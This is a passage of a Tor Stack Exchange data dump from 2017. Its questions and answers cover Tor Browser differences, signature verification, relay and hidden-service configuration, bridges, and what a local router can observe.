  <row Id="14377" PostTypeId="1" AcceptedAnswerId="14378" CreationDate="2017-03-22T21:00:59.163" Score="3" ViewCount="1272" Body="&lt;p&gt;I've started to use Tor as my main browser recently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've noticed things enabled by default like &lt;code&gt;NoScript&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, one thing that strikes me is the memory comsumption, which is close to null. By comparison, running 10 tabs with Firefox usually takes up to 800 Mb of Ram.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These lead me to wonder what are the main technical differences between the TOR browser and Firefox?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did Firefox installed things that were not supposed to be there like spy modules?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for your help.  &lt;/p&gt;&#xA;" OwnerUserId="10240" LastEditorUserId="10240" LastEditDate="2017-03-23T13:09:57.810" LastActivityDate="2017-03-23T13:09:57.810" Title="Technical differences between Tor webbrowser and Firefox" Tags="|tor-browser-bundle|firefox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14378" PostTypeId="2" ParentId="14377" CreationDate="2017-03-23T00:37:46.197" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;These lead me to wonder what are the main technical differences between the TOR browser and Firefox?&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can find a pretty complete list of the differences in &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Design and Implementation of the Tor Browser&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;However, one thing that strikes me is the memory comsumption, which is close to null. By comparison, running 10 tabs usually takes up to 800 Mb of Ram.&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not exactly sure what causes the difference. My guess is that some of the features that are disable in Tor Browser consume lots of memory. Another possibility is that the difference is caused by an extension you installed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;Did Firefox installed things that were not supposed to be there like spy modules?&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, Mozilla (the creator of Firefox) does take privacy seriously but unlike the Tor Project, they are not willing to accept as many usability and performance trade offs to improve privacy. The target audience simply differs.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-03-23T00:37:46.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14384" PostTypeId="1" AcceptedAnswerId="14385" CreationDate="2017-03-23T23:46:11.117" Score="2" ViewCount="562" Body="&lt;p&gt;I have followed the instructions for verifying the Tor exe on Windows using GnuPG and command prompt (here: &lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/verifying-signatures.html.en&lt;/a&gt;) but haven't been able to get an output. I have successfully imported the key and checked the fingerprint but when I paste the following nothing at all happens as an output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;D:\Installed Applications\Gnu\GnuPg\gpg.exe&quot; --verify&#xA;  C:\Users\MyUsername\Desktop\torbrowser-install-6.5.1_en-US.exe.asc&#xA;  C:\Users\MyUsername\Desktop\torbrowser-install-6.5.1_en-US.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's wrong? Is it a problem that I have GnuPG installed on a different drive?&lt;/p&gt;&#xA;" OwnerUserId="16811" LastActivityDate="2019-05-22T16:43:06.827" Title="Failed signature verification" Tags="|verification|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14385" PostTypeId="2" ParentId="14384" CreationDate="2017-03-23T23:54:01.427" Score="1" Body="&lt;p&gt;The description behind the link you provided is a bit unclear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The command needs to look like this (all on the same line):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;D:\Installed Applications\Gnu\GnuPg\gpg.exe&quot; --verify C:\Users\MyUsername\Desktop\torbrowser-install-6.5.1_en-US.exe.asc C:\Users\MyUsername\Desktop\torbrowser-install-6.5.1_en-US.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-03-23T23:54:01.427" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14387" PostTypeId="2" ParentId="6251" CreationDate="2017-03-24T12:29:01.427" Score="3" Body="&lt;p&gt;You need to make sure that these lines exist in the serverside torrc configuration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/ftp-service/&#xA;HiddenServicePort 21 127.0.0.1:21&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should also make sure you use your ftp client over the Tor network, for example, use Tor as a SOCKS proxy for your FTP client. You can use FileZilla over Tor to do this. Firstly, install FileZilla then configure Filezilla to use the SOCKS port on localhost. You can do this by selecting the &quot;Edit&quot; tab then clicking on &quot;Settings&quot;. After that, expand &quot;Connection&quot; and click on &quot;Generic proxy&quot;. After this, configure it like following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Proxy host: 127.0.0.1&#xA;Proxy port: 9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Proxy user and password doesn't matter (leave them blank). The proxy port can also be 9150 so if it doesn't work, you should try changing this first.&lt;/p&gt;&#xA;" OwnerUserId="14292" LastEditorUserId="14292" LastEditDate="2017-03-25T12:37:26.920" LastActivityDate="2017-03-25T12:37:26.920" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14388" PostTypeId="1" CreationDate="2017-03-24T12:52:20.587" Score="0" ViewCount="322" Body="&lt;p&gt;My 3G connection speed is lower than 100kbps, and Orbot connection is taking too long.&#xA;I want to connect my Hidden service from Android, but due to this situation I can't.&#xA;Can someone open a Tor SOCKS5 port for me(and other people like me)?&#xA;I'm not talking about Tor Bridge. I want a open SOCKS5 proxy(Tor's).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I could try direct connection to it.&lt;/p&gt;&#xA;" OwnerUserId="16817" LastActivityDate="2017-03-24T15:35:53.060" Title="Need help: can anyone provide tor gateway?" Tags="|orbot|" AnswerCount="2" CommentCount="1" ClosedDate="2017-03-26T14:39:45.363" ContentLicense="CC BY-SA 3.0" />
  <row Id="14389" PostTypeId="2" ParentId="14388" CreationDate="2017-03-24T14:04:47.883" Score="1" Body="&lt;p&gt;Opening a SOCKS5 port, especially by a third party, is a bad idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few reason why it is a bad idea:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The server you connect to knows the circuit you use.&lt;/li&gt;&#xA;&lt;li&gt;The server can manipulate the circuit you use. In fact it chooses it.&lt;/li&gt;&#xA;&lt;li&gt;SOCKS5 is not encrypted, http:// and other traffic can be read by third parties.&lt;/li&gt;&#xA;&lt;li&gt;Traffic send to or received from the SOCKS5 sever can be manipulated. Particularly, http:// and DNS can be manipulated easily.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The issues listed above are not an issue as long as the traffic doesn't leave your device. However, you do not want that socks proxy to be running on an untrusted host or connect to it via an untrusted network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run a Tor server, please DO NOT provide SOCKS5 proxy access, it provides the user with a wrong sense of security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative might be using &lt;a href=&quot;https://tor2web.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor2web&lt;/a&gt;, it appears to be using https:// to ensure traffic can't be read or minipulated when passing through the Internet. You should be aware though that the provider of the service still sees the traffic and is able to manipulate it. IF YOU DEPEND ON YOUR CONNECTION TO BE PRIVATE OR SECURE, DO NOT DO THIS.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastEditorUserId="16657" LastEditDate="2017-03-24T15:35:53.060" LastActivityDate="2017-03-24T15:35:53.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14390" PostTypeId="2" ParentId="14388" CreationDate="2017-03-24T15:07:34.510" Score="-1" Body="&lt;p&gt;It will ruin the whole conception/idea behind Tor: your connection and it's metadata will be literally public. In your case a VPN tunnel to your server can be &lt;strong&gt;a testing-only&lt;/strong&gt; solution to check, but for production use I do recommend you to use Tor installed on your phone. About Orbot - yes, it's slow. But the workaround is to compile android from source and integrate tor into it on a system image level. If your phone has this capability to build an open-source android for it - then I do recommend you to try this: for one of my test cases it was a remedy, actually: Orbot was &lt;em&gt;very slow&lt;/em&gt;, but when integrated into a system image - tor used to bootstrap in 30-60 seconds... I haven't researched the matter deep, but this approach was connfirmed to solve the issue by some of my contacts in their cases too.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-03-24T15:07:34.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14391" PostTypeId="1" AcceptedAnswerId="14612" CreationDate="2017-03-24T18:33:25.470" Score="1" ViewCount="684" Body="&lt;p&gt;I am using the latest version of Tor, and I can't seem to connect to the obfs4 bridge that comes with the bundle anymore. Only obfs3 works but it is too slow! I tried grabbing alternate bridges from bridges.torproject.org and none of them would work. Reinstalling the program did not fix the problem, and neither did running as administrator. Please help, I live in the United States. The wifi hotspot I use blocks tor connections so I have to use bridges. Obfs4 used to work last month and now it doesn't. I am using Windows 10.&lt;img src=&quot;https://i.stack.imgur.com/Dm1Az.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="16821" LastEditorUserId="16821" LastEditDate="2017-03-25T14:33:29.080" LastActivityDate="2017-04-21T01:02:10.277" Title="Obfs4 connections don't work anymore on local wifi hotspot!" Tags="|connection|" AnswerCount="2" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="14392" PostTypeId="1" CreationDate="2017-03-25T01:04:28.743" Score="1" ViewCount="454" Body="&lt;p&gt;Cannot get Orbot or Orfox to work on my Galaxy S6. Android version 6.0.1. I start it and closes it down then restart it. Still no luck.&lt;/p&gt;&#xA;" OwnerUserId="16824" LastActivityDate="2017-03-25T01:04:28.743" Title="Issues with Orbot and Orfox" Tags="|orbot|" AnswerCount="0" CommentCount="1" ClosedDate="2017-03-26T14:40:40.310" ContentLicense="CC BY-SA 3.0" />
  <row Id="14393" PostTypeId="1" AcceptedAnswerId="14395" CreationDate="2017-03-25T04:53:37.390" Score="1" ViewCount="1652" Body="&lt;p&gt;I am on Linux Debian Stretch (9, testing). Running the following Tor version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tor version 0.2.9.10 (git-e28303bcf90b842d).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I recently installed Tor on one of my servers and configured as a non-exit relay as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 9001&#xA;DirPort 9030&#xA;SOCKSPort 0&#xA;RunAsDaemon 0&#xA;Address myIP&#xA;Nickname myNick&#xA;ContactInfo myContact&#xA;ExitPolicy reject *:*&#xA;ExitPolicy reject6 *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Why should I run &lt;code&gt;arm&lt;/code&gt; monitoring tool using this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo -u debian-tor arm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have already defined alias, so it's no problem, but I am curious as to why I can't just use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo arm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried it and it &lt;em&gt;seems&lt;/em&gt; to work the same.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Should I do anything regarding the following &lt;code&gt;arm&lt;/code&gt; notices:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;05:34:45 [ARM_NOTICE] Unable to prepopulate bandwidth information (insufficient uptime)&#xA;05:34:45 [ARM_NOTICE] Tor is preventing system utilities like netstat and lsof from working. This means that arm can't provide you with connection information. You can change this by adding 'DisableDebuggerAttachment 0' to your torrc and restarting tor. For more information see... https://trac.torproject.org/3313&#xA;05:34:45 [ARM_NOTICE] No armrc loaded, using defaults. You can customize arm by placing a configuration file at '/var/lib/tor/.arm/armrc' (see the armrc.sample for its options).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I mean the first notice is pretty clear, but the next two not so much.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have noticed here that the tag &lt;code&gt;arm&lt;/code&gt; is now called &lt;code&gt;nyx&lt;/code&gt;, so: Should I uninstall &lt;code&gt;tor-arm&lt;/code&gt; package and install some &lt;code&gt;nyx&lt;/code&gt; package? I can't find any.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12763" LastActivityDate="2017-03-25T15:37:05.257" Title="Arm / Nyx questions" Tags="|relays|nyx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14394" PostTypeId="2" ParentId="14391" CreationDate="2017-03-25T14:30:04.487" Score="1" Body="&lt;p&gt;Try using other pluggable transports such as:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;meek-amazon&lt;/li&gt;&#xA;&lt;li&gt;meek-azure&lt;/li&gt;&#xA;&lt;li&gt;fte&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If no one works then try to use IPv6 normal bridges (which you can get at bridges.torproject.org).&lt;/p&gt;&#xA;" OwnerUserId="16827" LastActivityDate="2017-03-25T14:30:04.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14395" PostTypeId="2" ParentId="14393" CreationDate="2017-03-25T15:37:05.257" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;Why should I run arm monitoring tool using this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo -u debian-tor arm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Running any process as root should generally be avoided. If anyone compromises the process, she'll have full root access. In case of Tor, Tor itself is running as debian-tor. If you your Tor processes is compromised the next logical step is to try to evaluate privileges. One thing an adversary might try is to compromise arm. If this succeeds, the adversary gains full root access if arm is running as root but only little more permissions if it is running as debian-tor.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;Tor is preventing system utilities like netstat and lsof from working. …&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is a security measure, if your system is compromised, it makes it harder for an adversary to obtain keys and connections from an existing Tor process.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;No armrc loaded, using defaults …&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can customize arm using the options that can be found in armrc.sample. You can look at the sample using &lt;code&gt;zless /usr/share/doc/tor-arm/armrc.sample.gz&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;I have noticed here that the tag arm is now called nyx, so: Should I uninstall tor-arm package and install some nyx package? I can't find any.&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I assume that Nyx will be shipped at some point. Until then you arm should work just fine.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-03-25T15:37:05.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14396" PostTypeId="1" CreationDate="2017-03-25T19:09:28.740" Score="1" ViewCount="255" Body="&lt;p&gt;As I understand it, Tor clients can download &quot;descriptors&quot; from &quot;directory caches&quot; instead of download them directly from the directory authorities. This is to avoid overloading the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have seen that these three terms are sometimes used identically. In the context of the Tor network, are these three terms synonymous? Are there differences between them?&lt;/p&gt;&#xA;" OwnerUserId="15985" LastActivityDate="2017-03-25T19:47:18.793" Title="&quot;Directory cache&quot;, &quot;directory mirror&quot; and &quot;directory server&quot;. Are they synonymous terms in the context of the Tor network?" Tags="|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14397" PostTypeId="2" ParentId="14396" CreationDate="2017-03-25T19:47:18.793" Score="1" Body="&lt;p&gt;In version the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/attic/dir-spec-v2.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;directory spec v2&lt;/a&gt; directory cache appear to be synonymous:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;… Routers may act as directory mirrors (also called &quot;caches&quot;), …&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I also took a look at the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;current spec (v3)&lt;/a&gt; which isn't as clear about it but I got the impression that it is used interchangeably.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;When it comes to directory servers I found this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;Every Tor that is not a directory server (that is, those that do not have a DirPort set) …&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I believe that includes directory caches/mirrors and authorities which would mean the meaning of directory server slightly differs.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that just because there is a formal definition for the terms, it doesn't mean it is used that way in the wild. I'd not be surprised to see all three word used synonymously.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-03-25T19:47:18.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14398" PostTypeId="1" CreationDate="2017-03-26T11:47:10.920" Score="1" ViewCount="55" Body="&lt;p&gt;I´ve tried to create blog accounts using Tor. They always fail at some point. For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Wordpress: the confirmation mail doesn't include the link necessary to confirm.&lt;/li&gt;&#xA;&lt;li&gt;Ghost: I registered successfully, but all the features are missing in the menu list, so I can't post.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Which blog services works? I want to register with a mail2tor email account and dont want to give phone numer or any personal data.&lt;/p&gt;&#xA;" OwnerUserId="16838" LastEditorUserId="88" LastEditDate="2017-03-26T14:37:07.977" LastActivityDate="2017-03-26T14:37:07.977" Title="What blog services work well on Tor" Tags="|deanonymization|information-leaks|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14400" PostTypeId="1" AcceptedAnswerId="14401" CreationDate="2017-03-26T14:48:30.017" Score="2" ViewCount="3566" Body="&lt;p&gt;I am on Linux Debian Stretch 9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just noticed there is probably one file read before my &lt;code&gt;torrc&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/usr/share/tor/tor-service-defaults-torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DataDirectory /var/lib/tor&#xA;PidFile /var/run/tor/tor.pid&#xA;RunAsDaemon 1&#xA;User debian-tor&#xA;&#xA;ControlSocket /var/run/tor/control GroupWritable RelaxDirModeCheck&#xA;ControlSocketsGroupWritable 1&#xA;SocksPort unix:/var/run/tor/socks WorldWritable&#xA;SocksPort 9050&#xA;&#xA;CookieAuthentication 1&#xA;CookieAuthFileGroupReadable 1&#xA;CookieAuthFile /var/run/tor/control.authcookie&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then there is my configuration file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/etc/tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SOCKSPort 0&#xA;&#xA;RunAsDaemon 0&#xA;&#xA;ORPort 9001&#xA;&#xA;DirPort 9030&#xA;&#xA;Address myIPAddress&#xA;&#xA;Nickname myNickname&#xA;&#xA;ContactInfo myContactInfo&#xA;&#xA;&#xA;ExitPolicy reject *:*&#xA;ExitPolicy reject6 *:*&#xA;&#xA;DisableDebuggerAttachment 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Can I just have set e.g.:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;SOCKSPort 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;in my configuration file, because this server acts solely as a relay. Or do I have to remove the line:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;from the default file?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12763" LastActivityDate="2017-03-26T15:15:14.040" Title="SOCKSPort present in the default config and torrc files" Tags="|configuration|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14401" PostTypeId="2" ParentId="14400" CreationDate="2017-03-26T15:15:14.040" Score="2" Body="&lt;p&gt;From the tor man page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;--defaults-torrc FILE&#xA;      Specify a file in which to find default values for Tor options. The contents of this file are overridden by those in the regular configuration file, and by those on the command line. (Default: /etc/tor/torrc-defaults.)&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In Debian, tor is started with &lt;code&gt;--defaults-torrc /usr/share/tor/tor-service-defaults-torrc&lt;/code&gt;. So, yes, &lt;code&gt;SOCKSPort 0&lt;/code&gt; is enough to disable Socks.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-03-26T15:15:14.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14403" PostTypeId="1" AcceptedAnswerId="14405" CreationDate="2017-03-26T19:27:49.727" Score="2" ViewCount="5311" Body="&lt;p&gt;If I visit &lt;a href=&quot;http://expyuzz4wqqyqhjn.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://expyuzz4wqqyqhjn.onion/&lt;/a&gt; through Tor Browser, does my router see that address or does it only see the first relay Tor Browser connects to? Does it see anything different when visiting a non-hidden service address like google.com? And is there a difference in what address it sees with/without https? To be clear, by router I mean my own personal wifi router, not the T.O.R.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read similar questions here but the answers were all relating to what the ISP can see, not your router. I assume the two see something similar if not the same, but I want to be absolutely certain.&lt;/p&gt;&#xA;" OwnerUserId="16842" LastEditorUserId="88" LastEditDate="2017-03-27T07:44:45.890" LastActivityDate="2017-03-27T07:44:45.890" Title="What does your router see/log when visiting a tor hidden site address?" Tags="|onion-services|log|routers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14405" PostTypeId="2" ParentId="14403" CreationDate="2017-03-26T21:36:42.610" Score="1" Body="&lt;p&gt;The answer assumes that your runnig the the tor deamon on the same host as the browser and that DNS lookup are done via Tor. Both holds true if you use the Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;If I visit &lt;a href=&quot;http://expyuzz4wqqyqhjn.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://expyuzz4wqqyqhjn.onion/&lt;/a&gt; through Tor Browser, does my router see that address or does it only see the first relay Tor Browser connects to?&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It only sees the address of the first relay and it sees the traffic that you exchange. It can't read the traffic however, it is encrypted.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;Does it see anything different when visiting a non-hidden service address like google.com?&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, the address of the host you're visiting is transferred encrypted.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;And is there a difference in what address it sees with/without https&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Ditto. However, keep in mind that when you use http to connect to a clear net host, the traffic can be read and manipulated by the exit node and anyone between the exit node and the destination host.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;I've read similar questions here but the answers were all relating to what the ISP can see, not your router. I assume the two see something similar if not the same, but I want to be absolutely certain.&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are a few pieces of information that your router may see your ISP doesn't:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;your MAC address (which may uniquely identify the device you're using)&lt;/li&gt;&#xA;&lt;li&gt;LAN traffic (In particular, it may see broadcast traffic coming from your host which can contain identifying information like the host name or OS.)&lt;/li&gt;&#xA;&lt;li&gt;DHCP request (can contain host name and your IP address from when you last connected to the network)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16657" LastEditorUserId="16657" LastEditDate="2017-03-26T22:34:23.323" LastActivityDate="2017-03-26T22:34:23.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14406" PostTypeId="1" CreationDate="2017-03-27T03:52:42.903" Score="1" ViewCount="384" Body="&lt;p&gt;New to Tor. I've had it before on an old laptop with no issues but I recently installed it on my desktop and haven't been able to run it. I've tried reinstalling and disabling all firewalls and antivirus programs but I still get the same message which is: &quot;Could not connect to Tor control port&quot;. When I try to copy the Tor log to the clipboard through the Tor program it says there's nothing to copy even after I try connecting and get the error message. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked everywhere online and I haven't seen any solutions that have worked. I don't know how to see if the port Tor uses is free or not. I've tried using the command prompt command &quot;netstat -an |find /i [portnumber]&quot; but it says my find is improper format despite it being correct from everything I've read about it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, any help resolving the &quot;Could not connect to Tor control port&quot; error message would be very much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="16846" LastActivityDate="2017-03-27T03:52:42.903" Title="Installed Tor, tried to run got message &quot;could 